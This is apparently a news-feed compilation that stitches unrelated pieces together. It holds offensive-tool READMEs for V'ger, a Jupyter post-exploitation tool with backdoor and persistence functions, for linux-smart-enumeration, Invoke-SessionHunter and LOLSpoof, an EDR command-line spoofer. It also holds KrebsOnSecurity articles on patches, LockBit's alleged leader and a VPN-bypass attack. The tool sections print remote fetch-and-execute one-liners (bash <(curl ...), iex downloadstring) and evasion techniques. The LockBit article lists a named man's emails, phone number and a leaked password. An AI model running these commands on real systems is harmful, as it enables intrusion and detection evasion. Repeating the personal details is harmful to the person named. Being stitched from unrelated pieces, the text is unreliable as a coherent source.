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V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.
FreshRSS pip install vgervger --helpCurrently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.
Once a connection is established, users drop into a nested set of menus.
The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.
These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.
With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.
There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").
First, a couple of useful oneliners ;)
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
Note that since version 2.10 you can serve the script to other hosts with the -S flag!
Linux enumeration tools for pentesting and CTFs
This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.
Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.
This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.
From version 2.0 it is mostly POSIX compliant and tested with shellcheck and posh.
It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.
It has 3 levels of verbosity so you can control how much information you see.
In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.
By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.
The idea is to get the information gradually.
First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.
If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.
If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.
You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.
Use: ./lse.sh [options]
OPTIONS
-c Disable color
-i Non interactive mode
-h This help
-l LEVEL Output verbosity level
0: Show highly important results. (default)
1: Show interesting results.
2: Show all gathered information.
-s SELECTION Comma separated list of sections or tests to run. Available
sections:
usr: User related tests.
sud: Sudo related tests.
fst: File system related tests.
sys: System related tests.
sec: Security measures related tests.
ret: Recurren tasks (cron, timers) related tests.
net: Network related tests.
srv: Services related tests.
pro: Processes related tests.
sof: Software related tests.
ctn: Container (docker, lxc) related tests.
cve: CVE related tests.
Specific tests can be used with their IDs (i.e.: usr020,sud)
-e PATHS Comma separated list of paths to exclude. This allows you
to do faster scans at the cost of completeness
-p SECONDS Time that the process monitor will spend watching for
processes. A value of 0 will disable any watch (default: 60)
-S Serve the lse.sh script in this host so it can be retrieved
from a remote host.
Also available in webm video
Direct execution oneliners
bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
Retrieve and display information about active user sessions on remote computers. No admin privileges required.
The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.
If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)
It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SessionHunter/main/Invoke-SessionHunter.ps1')
If run without parameters or switches it will retrieve active sessions for all computers in the current domain by querying the registry
Invoke-SessionHunter
Gather sessions by authenticating to targets where you have local admin access
Invoke-SessionHunter -CheckAsAdmin
You can optionally provide credentials in the following format
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!"
You can also use the -FailSafe switch, which will direct the tool to proceed if the target remote registry becomes unresponsive.
This works in cobination with -Timeout | Default = 2, increase for slower networks.
Invoke-SessionHunter -FailSafe
Invoke-SessionHunter -FailSafe -Timeout 5
Use the -Match switch to show only targets where you have admin access and a privileged user is logged in
Invoke-SessionHunter -Match
All switches can be combined
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!" -FailSafe -Timeout 5 -Match
Invoke-SessionHunter -Domain contoso.local
Invoke-SessionHunter -Targets "DC01,Workstation01.contoso.local"
Invoke-SessionHunter -Targets c:\Users\Public\Documents\targets.txt
Invoke-SessionHunter -Servers
Invoke-SessionHunter -Workstations
Invoke-SessionHunter -Hunt "Administrator"
Invoke-SessionHunter -IncludeLocalHost
Invoke-SessionHunter -RawResults
Note: if a host is not reachable it will hang for a while
Invoke-SessionHunter -NoPortScan
Microsoft today released updates to fix more than 60 security holes in Windows computers and supported software, including two “zero-day” vulnerabilities in Windows that are already being exploited in active attacks. There are also important security patches available for macOS and Adobe users, and for the Chrome Web browser, which just patched its own zero-day flaw.
First, the zero-days. CVE-2024-30051 is an “elevation of privilege” bug in a core Windows library. Satnam Narang at Tenable said this flaw is being used as part of post-compromise activity to elevate privileges as a local attacker.
“CVE-2024-30051 is used to gain initial access into a target environment and requires the use of social engineering tactics via email, social media or instant messaging to convince a target to open a specially crafted document file,” Narang said. “Once exploited, the attacker can bypass OLE mitigations in Microsoft 365 and Microsoft Office, which are security features designed to protect end users from malicious files.”
Kaspersky Lab, one of two companies credited with reporting exploitation of CVE-2024-30051 to Microsoft, has published a fascinating writeup on how they discovered the exploit in a file shared with Virustotal.com.
Kaspersky said it has since seen the exploit used together with QakBot and other malware. Emerging in 2007 as a banking trojan, QakBot (a.k.a. Qbot and Pinkslipbot) has morphed into an advanced malware strain now used by multiple cybercriminal groups to prepare newly compromised networks for ransomware infestations.
CVE-2024-30040 is a security feature bypass in MSHTML, a component that is deeply tied to the default Web browser on Windows systems. Microsoft’s advisory on this flaw is fairly sparse, but Kevin Breen from Immersive Labs said this vulnerability also affects Office 365 and Microsoft Office applications.
“Very little information is provided and the short description is painfully obtuse,” Breen said of Microsoft’s advisory on CVE-2024-30040.
The only vulnerability fixed this month that earned Microsoft’s most-dire “critical” rating is CVE-2024-30044, a flaw in Sharepoint that Microsoft said is likely to be exploited. Tenable’s Narang notes that exploitation of this bug requires an attacker to be authenticated to a vulnerable SharePoint Server with Site Owner permissions (or higher) first and to take additional steps in order to exploit this flaw, which makes this flaw less likely to be widely exploited as most attackers follow the path of least resistance.
Five days ago, Google released a security update for Chrome that fixes a zero-day in the popular browser. Chrome usually auto-downloads any available updates, but it still may require a complete restart of the browser to install them. If you use Chrome and see a “Relaunch to update” message in the upper right corner of the browser, it’s time to restart.
Apple has just shipped macOS Sonoma 14.5 update, which includes nearly two dozen security patches. To ensure your Mac is up-to-date, go to System Settings, General tab, then Software Update and follow any prompts.
Finally, Adobe has critical security patches available for a range of products, including Acrobat, Reader, Illustrator, Adobe Substance 3D Painter, Adobe Aero, Adobe Animate and Adobe Framemaker.
Regardless of whether you use a Mac or Windows system (or something else), it’s always a good idea to backup your data and or system before applying any security updates. For a closer look at the individual fixes released by Microsoft today, check out the complete list over at the SANS Internet Storm Center. Anyone in charge of maintaining Windows systems in an enterprise environment should keep an eye on askwoody.com, which usually has the scoop on any wonky Windows patches.
Update, May 15, 8:28 a.m.: Corrected misattribution of CVE-2024-30051.
Last week, the United States joined the U.K. and Australia in sanctioning and charging a Russian man named Dmitry Yuryevich Khoroshev as the leader of the infamous LockBit ransomware group. LockBit’s leader “LockBitSupp” claims the feds named the wrong guy, saying the charges don’t explain how they connected him to Khoroshev. This post examines the activities of Khoroshev’s many alter egos on the cybercrime forums, and tracks the career of a gifted malware author who has written and sold malicious code for the past 14 years.
Dmitry Yuryevich Khoroshev. Image: treasury.gov.
On May 7, the U.S. Department of Justice indicted Khoroshev on 26 criminal counts, including extortion, wire fraud, and conspiracy. The government alleges Khoroshev created, sold and used the LockBit ransomware strain to personally extort more than $100 million from hundreds of victim organizations, and that LockBit as a group extorted roughly half a billion dollars over four years.
Federal investigators say Khoroshev ran LockBit as a “ransomware-as-a-service” operation, wherein he kept 20 percent of any ransom amount paid by a victim organization infected with his code, with the remaining 80 percent of the payment going to LockBit affiliates responsible for spreading the malware.
Financial sanctions levied against Khoroshev by the U.S. Department of the Treasury listed his known email and street address (in Voronezh, in southwest Russia), passport number, and even his tax ID number (hello, Russian tax authorities). The Treasury filing says Khoroshev used the emails sitedev5@yandex.ru, and khoroshev1@icloud.com.
According to DomainTools.com, the address sitedev5@yandex.ru was used to register at least six domains, including a Russian business registered in Khoroshev’s name called tkaner.com, which is a blog about clothing and fabrics.
A search at the breach-tracking service Constella Intelligence on the phone number in Tkaner’s registration records — 7.9521020220 — brings up multiple official Russian government documents listing the number’s owner as Dmitri Yurievich Khoroshev.
Another domain registered to that phone number was stairwell[.]ru, which at one point advertised the sale of wooden staircases. Constella finds that the email addresses webmaster@stairwell.ru and admin@stairwell.ru used the password 225948.
DomainTools reports that stairwell.ru for several years included the registrant’s name as “Dmitrij Ju Horoshev,” and the email address pin@darktower.su. According to Constella, this email address was used in 2010 to register an account for a Dmitry Yurievich Khoroshev from Voronezh, Russia at the hosting provider firstvds.ru.
Image: Shutterstock.
Cyber intelligence firm Intel 471 finds that pin@darktower.ru was used by a Russian-speaking member called Pin on the English-language cybercrime forum Opensc. Pin was active on Opensc around March 2012, and authored 13 posts that mostly concerned data encryption issues, or how to fix bugs in code.
Other posts concerned custom code Pin claimed to have written that would bypass memory protections on Windows XP and Windows 7 systems, and inject malware into memory space normally allocated to trusted applications on a Windows machine.
Pin also was active at that same time on the Russian-language security forum Antichat, where they told fellow forum members to contact them at the ICQ instant messenger number 669316.
A search on the ICQ number 669316 at Intel 471 shows that in April 2011, a user by the name NeroWolfe joined the Russian cybercrime forum Zloy using the email address d.horoshev@gmail.com, and from an Internet address in Voronezh, RU.
Constella finds the same password tied to webmaster@stairwell.ru (225948) was used by the email address 3k@xakep.ru, which Intel 471 says was registered to more than a dozen NeroWolfe accounts across just as many Russian cybercrime forums between 2011 and 2015.
NeroWolfe’s introductory post to the forum Verified in Oct. 2011 said he was a system administrator and C++ coder.
“Installing SpyEYE, ZeuS, any DDoS and spam admin panels,” NeroWolfe wrote. This user said they specialize in developing malware, creating computer worms, and crafting new ways to hijack Web browsers.
“I can provide my portfolio on request,” NeroWolfe wrote. “P.S. I don’t modify someone else’s code or work with someone else’s frameworks.”
In April 2013, NeroWolfe wrote in a private message to another Verified forum user that he was selling a malware “loader” program that could bypass all of the security protections on Windows XP and Windows 7.
“The access to the network is slightly restricted,” NeroWolfe said of the loader, which he was selling for $5,000. “You won’t manage to bind a port. However, it’s quite possible to send data. The code is written in C.”
In an October 2013 discussion on the cybercrime forum Exploit, NeroWolfe weighed in on the karmic ramifications of ransomware. At the time, ransomware-as-a-service didn’t exist yet, and many members of Exploit were still making good money from “lockers,” relatively crude programs that locked the user out of their system until they agreed to make a small payment (usually a few hundred dollars via prepaid Green Dot cards).
Lockers, which presaged the coming ransomware scourge, were generally viewed by the Russian-speaking cybercrime forums as harmless moneymaking opportunities, because they usually didn’t seek to harm the host computer or endanger files on the system. Also, there were still plenty of locker programs that aspiring cybercriminals could either buy or rent to make a steady income.
NeroWolfe reminded forum denizens that they were just as vulnerable to ransomware attacks as their would-be victims, and that what goes around comes around.
“Guys, do you have a conscience?,” NeroWolfe wrote. “Okay, lockers, network gopstop aka business in Russian. The last thing was always squeezed out of the suckers. But encoders, no one is protected from them, including the local audience.”
If Khoroshev was ever worried that someone outside of Russia might be able to connect his early hacker handles to his real life persona, that’s not clear from reviewing his history online. In fact, the same email address tied to so many of NeroWolfe’s accounts on the forums — 3k@xakep.ru — was used in 2011 to create an account for a Dmitry Yurevich Khoroshev on the Russian social media network Vkontakte.
NeroWolfe seems to have abandoned all of his forum accounts sometime in 2016. In November 2016, an exploit[.]ru member filed an official complaint against NeroWolfe, saying NeroWolfe had been paid $2,000 to produce custom code but never finished the project and vanished.
It’s unclear what happened to NeroWolfe or to Khoroshev during this time. Maybe he got arrested, or some close associates did. Perhaps he just decided it was time to lay low and hit the reset on his operational security efforts, given his past failures in this regard. It’s also possible NeroWolfe landed a real job somewhere for a few years, fathered a child, and/or had to put his cybercrime career on hold.
Or perhaps Khoroshev saw the coming ransomware industry for the endless pot of gold that it was about to become, and then dedicated himself to working on custom ransomware code. That’s what the government believes.
The indictment against Khoroshev says he used the hacker nickname Putinkrab, and Intel 471 says this corresponds to a username that was first registered across three major Russian cybercrime forums in early 2019.
KrebsOnSecurity could find no obvious connections between Putinkrab and any of Khoroshev’s older identities. However, if Putinkrab was Khoroshev, he would have learned from his past mistakes and started fresh with a new identity (which he did). But also, it is likely the government hasn’t shared all of the intelligence it has collected against him (more on that in a bit).
Putinkrab’s first posts on the Russian cybercrime forums XSS, Exploit and UFOLabs saw this user selling ransomware source code written in C.
A machine-translated ad for ransomware source code from Putinkrab on the Russian language cybercrime forum UFOlabs in 2019. Image: Ke-la.com.
In April 2019, Putkinkrab offered an affiliate program that would run on top of his custom-made ransomware code.
“I want to work for a share of the ransoms: 20/80,” Putinkrab wrote on Exploit. “20 percent is my percentage for the work, you get 80% of the ransoms. The percentage can be reduced up to 10/90 if the volumes are good. But now, temporarily, until the service is fully automated, we are working using a different algorithm.”
Throughout the summer of 2019, Putinkrab posted multiple updates to Exploit about new features being added to his ransomware strain, as well as novel evasion techniques to avoid detection by security tools. He also told forum members he was looking for investors for a new ransomware project based on his code.
In response to an Exploit member who complained that the security industry was making it harder to profit from ransomware, Putinkrab said that was because so many cybercriminals were relying on crappy ransomware code.
“The vast majority of top antiviruses have acquired behavioral analysis, which blocks 95% of crypto-lockers at their root,” Putinkrab wrote. “Cryptolockers made a lot of noise in the press, but lazy system administrators don’t make backups after that. The vast majority of cryptolockers are written by people who have little understanding of cryptography. Therefore, decryptors appear on the Internet, and with them the hope that files can be decrypted without paying a ransom. They just sit and wait. Contact with the owner of the key is lost over time.”
Putinkrab said he had every confidence his ransomware code was a game-changer, and a huge money machine.
“The game is just gaining momentum,” Putinkrab wrote. “Weak players lose and are eliminated.”
The rest of his response was structured like a poem:
“In this world, the strongest survive.
Our life is just a struggle.
The winner will be the smartest,
Who has his head on his shoulders.”
Putinkrab’s final post came on August 23, 2019. The Justice Department says the LockBit ransomware affiliate program was officially launched five months later. From there on out, the government says, Khoroshev adopted the persona of LockBitSupp. In his introductory post on Exploit, LockBit’s mastermind said the ransomware strain had been in development since September 2019.
The original LockBit malware was written in C (a language that NeroWolfe excelled at). Here’s the original description of LockBit, from its maker:
“The software is written in C and Assembler; encryption is performed through the I/O Completion Port; there is a port scanning local networks and an option to find all DFS, SMB, WebDAV network shares, an admin panel in Tor, automatic test decryption; a decryption tool is provided; there is a chat with Push notifications, a Jabber bot that forwards correspondence and an option to terminate services/processes in line which prevent the ransomware from opening files at a certain moment. The ransomware sets file permissions and removes blocking attributes, deletes shadow copies, clears logs and mounts hidden partitions; there is an option to drag-and-drop files/folders and a console/hidden mode. The ransomware encrypts files in parts in various places: the larger the file size, the more parts there are. The algorithms used are AES + RSA.
You are the one who determines the ransom amount after communicating with the victim. The ransom paid in any currency that suits you will be transferred to your wallets. The Jabber bot serves as an admin panel and is used for banning, providing decryption tools, chatting – Jabber is used for absolutely everything.”
Does the above timeline prove that NeroWolfe/Khoroshev is LockBitSupp? No. However, it does indicate Khoroshev was for many years deeply invested in countless schemes involving botnets, stolen data, and malware he wrote that others used to great effect. NeroWolfe’s many private messages from fellow forum members confirm this.
NeroWolfe’s specialty was creating custom code that employed novel stealth and evasion techniques, and he was always quick to volunteer his services on the forums whenever anyone was looking help on a malware project that called for a strong C or C++ programmer.
Someone with those qualifications — as well as demonstrated mastery of data encryption and decryption techniques — would have been in great demand by the ransomware-as-a-service industry that took off at around the same time NeroWolfe vanished from the forums.
Someone like that who is near or at the top of their game vis-a-vis their peers does not simply walk away from that level of influence, community status, and potential income stream unless forced to do so by circumstances beyond their immediate control.
It’s important to note that Putinkrab didn’t just materialize out of thin air in 2019 — suddenly endowed with knowledge about how to write advanced, stealthy ransomware strains. That knowledge clearly came from someone who’d already had years of experience building and deploying ransomware strains against real-life victim organizations.
Thus, whoever Putinkrab was before they adopted that moniker, it’s a safe bet they were involved in the development and use of earlier, highly successful ransomware strains. One strong possible candidate is Cerber ransomware, the most popular and effective affiliate program operating between early 2016 and mid-2017. Cerber thrived because it emerged as an early mover in the market for ransomware-as-a-service offerings.
In February 2024, the FBI seized LockBit’s cybercrime infrastructure on the dark web, following an apparently lengthy infiltration of the group’s operations. The United States has already indicted and sanctioned at least five other alleged LockBit ringleaders or affiliates, so presumably the feds have been able to draw additional resources from those investigations.
Also, it seems likely that the three national intelligence agencies involved in bringing these charges are not showing all of their cards. For example, the Treasury documents on Khoroshev mention a single cryptocurrency address, and yet experts interviewed for this story say there are no obvious clues connecting this address to Khoroshev or Putinkrab.
But given that LockBitSupp has been actively involved in Lockbit ransomware attacks against organizations for four years now, the government almost certainly has an extensive list of the LockBit leader’s various cryptocurrency addresses — and probably even his bank accounts in Russia. And no doubt the money trail from some of those transactions was traceable to its ultimate beneficiary (or close enough).
Not long after Khoroshev was charged as the leader of LockBit, a number of open-source intelligence accounts on Telegram began extending the information released by the Treasury Department. Within hours, these sleuths had unearthed more than a dozen credit card accounts used by Khoroshev over the past decade, as well as his various bank account numbers in Russia.
The point is, this post is based on data that’s available to and verifiable by KrebsOnSecurity. Woodward & Bernstein’s source in the Watergate investigation — Deep Throat — famously told the two reporters to “follow the money.” This is always excellent advice. But these days, that can be a lot easier said than done — especially with people who a) do not wish to be found, and b) don’t exactly file annual reports.
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LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
lolbin.exe " " * sizeof(real arguments)
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
The United States joined the United Kingdom and Australia today in sanctioning 31-year-old Russian national Dmitry Yuryevich Khoroshev as the alleged leader of the infamous ransomware group LockBit. The U.S. Department of Justice also indicted Khoroshev and charged him with using Lockbit to attack more than 2,000 victims and extort at least $100 million in ransomware payments.
Image: U.K. National Crime Agency.
Khoroshev (Дмитрий Юрьевич Хорошев), a resident of Voronezh, Russia, was charged in a 26-count indictment by a grand jury in New Jersey.
“Dmitry Khoroshev conceived, developed, and administered Lockbit, the most prolific ransomware variant and group in the world, enabling himself and his affiliates to wreak havoc and cause billions of dollars in damage to thousands of victims around the globe,” U.S. Attorney Philip R. Sellinger said in a statement released by the Justice Department.
The indictment alleges Khoroshev acted as the LockBit ransomware group’s developer and administrator from its inception in September 2019 through May 2024, and that he typically received a 20 percent share of each ransom payment extorted from LockBit victims.
The government says LockBit victims included individuals, small businesses, multinational corporations, hospitals, schools, nonprofit organizations, critical infrastructure, and government and law-enforcement agencies.
“Khoroshev and his co-conspirators extracted at least $500 million in ransom payments from their victims and caused billions of dollars in broader losses, such as lost revenue, incident response, and recovery,” the DOJ said. “The LockBit ransomware group attacked more than 2,500 victims in at least 120 countries, including 1,800 victims in the United States.”
The unmasking of LockBitSupp comes nearly three months after U.S. and U.K. authorities seized the darknet websites run by LockBit, retrofitting it with press releases about the law enforcement action and free tools to help LockBit victims decrypt infected systems.
The feds used the existing design on LockBit’s victim shaming website to feature press releases and free decryption tools.
One of the blog captions that authorities left on the seized site was a teaser page that read, “Who is LockbitSupp?,” which promised to reveal the true identity of the ransomware group leader. That item featured a countdown clock until the big reveal, but when the site’s timer expired no such details were offered.
Following the FBI’s raid, LockBitSupp took to Russian cybercrime forums to assure his partners and affiliates that the ransomware operation was still fully operational. LockBitSupp also raised another set of darknet websites that soon promised to release data stolen from a number of LockBit victims ransomed prior to the FBI raid.
One of the victims LockBitSupp continued extorting was Fulton County, Ga. Following the FBI raid, LockbitSupp vowed to release sensitive documents stolen from the county court system unless paid a ransom demand before LockBit’s countdown timer expired. But when Fulton County officials refused to pay and the timer expired, no stolen records were ever published. Experts said it was likely the FBI had in fact seized all of LockBit’s stolen data.
LockBitSupp also bragged that their real identity would never be revealed, and at one point offered to pay $10 million to anyone who could discover their real name.
KrebsOnSecurity has been in intermittent contact with LockBitSupp for several months over the course of reporting on different LockBit victims. Reached at the same ToX instant messenger identity that the ransomware group leader has promoted on Russian cybercrime forums, LockBitSupp claimed the authorities named the wrong guy.
“It’s not me,” LockBitSupp replied in Russian. “I don’t understand how the FBI was able to connect me with this poor guy. Where is the logical chain that it is me? Don’t you feel sorry for a random innocent person?”
LockBitSupp, who now has a $10 million bounty for his arrest from the U.S. Department of State, has been known to be flexible with the truth. The Lockbit group routinely practiced “double extortion” against its victims — requiring one ransom payment for a key to unlock hijacked systems, and a separate payment in exchange for a promise to delete data stolen from its victims.
But Justice Department officials say LockBit never deleted its victim data, regardless of whether those organizations paid a ransom to keep the information from being published on LockBit’s victim shaming website.
Khoroshev is the sixth person officially indicted as active members of LockBit. The government says Russian national Artur Sungatov used LockBit ransomware against victims in manufacturing, logistics, insurance and other companies throughout the United States.
Ivan Gennadievich Kondratyev, a.k.a. “Bassterlord,” allegedly deployed LockBit against targets in the United States, Singapore, Taiwan, and Lebanon. Kondratyev is also charged (PDF) with three criminal counts arising from his alleged use of the Sodinokibi (aka “REvil“) ransomware variant to encrypt data, exfiltrate victim information, and extort a ransom payment from a corporate victim based in Alameda County, California.
In May 2023, U.S. authorities unsealed indictments against two alleged LockBit affiliates, Mikhail “Wazawaka” Matveev and Mikhail Vasiliev. In January 2022, KrebsOnSecurity published Who is the Network Access Broker ‘Wazawaka,’ which followed clues from Wazawaka’s many pseudonyms and contact details on the Russian-language cybercrime forums back to a 31-year-old Mikhail Matveev from Abaza, RU.
Matveev remains at large, presumably still in Russia. Meanwhile, the U.S. Department of State has a standing $10 million reward offer for information leading to Matveev’s arrest.
Vasiliev, 35, of Bradford, Ontario, Canada, is in custody in Canada awaiting extradition to the United States (the complaint against Vasiliev is at this PDF).
In June 2023, Russian national Ruslan Magomedovich Astamirov was charged in New Jersey for his participation in the LockBit conspiracy, including the deployment of LockBit against victims in Florida, Japan, France, and Kenya. Astamirov is currently in custody in the United States awaiting trial.
The Justice Department is urging victims targeted by LockBit to contact the FBI at https://lockbitvictims.ic3.gov/ to file an official complaint, and to determine whether affected systems can be successfully decrypted.
Virtual private networking (VPN) companies market their services as a way to prevent anyone from snooping on your Internet usage. But new research suggests this is a dangerous assumption when connecting to a VPN via an untrusted network, because attackers on the same network could force a target’s traffic off of the protection provided by their VPN without triggering any alerts to the user.
Image: Shutterstock.
When a device initially tries to connect to a network, it broadcasts a message to the entire local network stating that it is requesting an Internet address. Normally, the only system on the network that notices this request and replies is the router responsible for managing the network to which the user is trying to connect.
The machine on a network responsible for fielding these requests is called a Dynamic Host Configuration Protocol (DHCP) server, which will issue time-based leases for IP addresses. The DHCP server also takes care of setting a specific local address — known as an Internet gateway — that all connecting systems will use as a primary route to the Web.
VPNs work by creating a virtual network interface that serves as an encrypted tunnel for communications. But researchers at Leviathan Security say they’ve discovered it’s possible to abuse an obscure feature built into the DHCP standard so that other users on the local network are forced to connect to a rogue DHCP server.
“Our technique is to run a DHCP server on the same network as a targeted VPN user and to also set our DHCP configuration to use itself as a gateway,” Leviathan researchers Lizzie Moratti and Dani Cronce wrote. “When the traffic hits our gateway, we use traffic forwarding rules on the DHCP server to pass traffic through to a legitimate gateway while we snoop on it.”
The feature being abused here is known as DHCP option 121, and it allows a DHCP server to set a route on the VPN user’s system that is more specific than those used by most VPNs. Abusing this option, Leviathan found, effectively gives an attacker on the local network the ability to set up routing rules that have a higher priority than the routes for the virtual network interface that the target’s VPN creates.
“Pushing a route also means that the network traffic will be sent over the same interface as the DHCP server instead of the virtual network interface,” the Leviathan researchers said. “This is intended functionality that isn’t clearly stated in the RFC [standard]. Therefore, for the routes we push, it is never encrypted by the VPN’s virtual interface but instead transmitted by the network interface that is talking to the DHCP server. As an attacker, we can select which IP addresses go over the tunnel and which addresses go over the network interface talking to our DHCP server.”
Leviathan found they could force VPNs on the local network that already had a connection to arbitrarily request a new one. In this well-documented tactic, known as a DHCP starvation attack, an attacker floods the DHCP server with requests that consume all available IP addresses that can be allocated. Once the network’s legitimate DHCP server is completely tied up, the attacker can then have their rogue DHCP server respond to all pending requests.
“This technique can also be used against an already established VPN connection once the VPN user’s host needs to renew a lease from our DHCP server,” the researchers wrote. “We can artificially create that scenario by setting a short lease time in the DHCP lease, so the user updates their routing table more frequently. In addition, the VPN control channel is still intact because it already uses the physical interface for its communication. In our testing, the VPN always continued to report as connected, and the kill switch was never engaged to drop our VPN connection.”
The researchers say their methods could be used by an attacker who compromises a DHCP server or wireless access point, or by a rogue network administrator who owns the infrastructure themselves and maliciously configures it. Alternatively, an attacker could set up an “evil twin” wireless hotspot that mimics the signal broadcast by a legitimate provider.
Bill Woodcock is executive director at Packet Clearing House, a nonprofit based in San Francisco. Woodcock said Option 121 has been included in the DHCP standard since 2002, which means the attack described by Leviathan has technically been possible for the last 22 years.
“They’re realizing now that this can be used to circumvent a VPN in a way that’s really problematic, and they’re right,” Woodcock said.
Woodcock said anyone who might be a target of spear phishing attacks should be very concerned about using VPNs on an untrusted network.
“Anyone who is in a position of authority or maybe even someone who is just a high net worth individual, those are all very reasonable targets of this attack,” he said. “If I were trying to do an attack against someone at a relatively high security company and I knew where they typically get their coffee or sandwich at twice a week, this is a very effective tool in that toolbox. I’d be a little surprised if it wasn’t already being exploited in that way, because again this isn’t rocket science. It’s just thinking a little outside the box.”
Successfully executing this attack on a network likely would not allow an attacker to see all of a target’s traffic or browsing activity. That’s because for the vast majority of the websites visited by the target, the content is encrypted (the site’s address begins with https://). However, an attacker would still be able to see the metadata — such as the source and destination addresses — of any traffic flowing by.
KrebsOnSecurity shared Leviathan’s research with John Kristoff, founder of dataplane.org and a PhD candidate in computer science at the University of Illinois Chicago. Kristoff said practically all user-edge network gear, including WiFi deployments, support some form of rogue DHCP server detection and mitigation, but that it’s unclear how widely deployed those protections are in real-world environments.
“However, and I think this is a key point to emphasize, an untrusted network is an untrusted network, which is why you’re usually employing the VPN in the first place,” Kristoff said. “If [the] local network is inherently hostile and has no qualms about operating a rogue DHCP server, then this is a sneaky technique that could be used to de-cloak some traffic – and if done carefully, I’m sure a user might never notice.”
According to Leviathan, there are several ways to minimize the threat from rogue DHCP servers on an unsecured network. One is using a device powered by the Android operating system, which apparently ignores DHCP option 121.
Relying on a temporary wireless hotspot controlled by a cellular device you own also effectively blocks this attack.
“They create a password-locked LAN with automatic network address translation,” the researchers wrote of cellular hot-spots. “Because this network is completely controlled by the cellular device and requires a password, an attacker should not have local network access.”
Leviathan’s Moratti said another mitigation is to run your VPN from inside of a virtual machine (VM) — like Parallels, VMware or VirtualBox. VPNs run inside of a VM are not vulnerable to this attack, Moratti said, provided they are not run in “bridged mode,” which causes the VM to replicate another node on the network.
In addition, a technology called “deep packet inspection” can be used to deny all in- and outbound traffic from the physical interface except for the DHCP and the VPN server. However, Leviathan says this approach opens up a potential “side channel” attack that could be used to determine the destination of traffic.
“This could be theoretically done by performing traffic analysis on the volume a target user sends when the attacker’s routes are installed compared to the baseline,” they wrote. “In addition, this selective denial-of-service is unique as it could be used to censor specific resources that an attacker doesn’t want a target user to connect to even while they are using the VPN.”
Moratti said Leviathan’s research shows that many VPN providers are currently making promises to their customers that their technology can’t keep.
“VPNs weren’t designed to keep you more secure on your local network, but to keep your traffic more secure on the Internet,” Moratti said. “When you start making assurances that your product protects people from seeing your traffic, there’s an assurance or promise that can’t be met.”
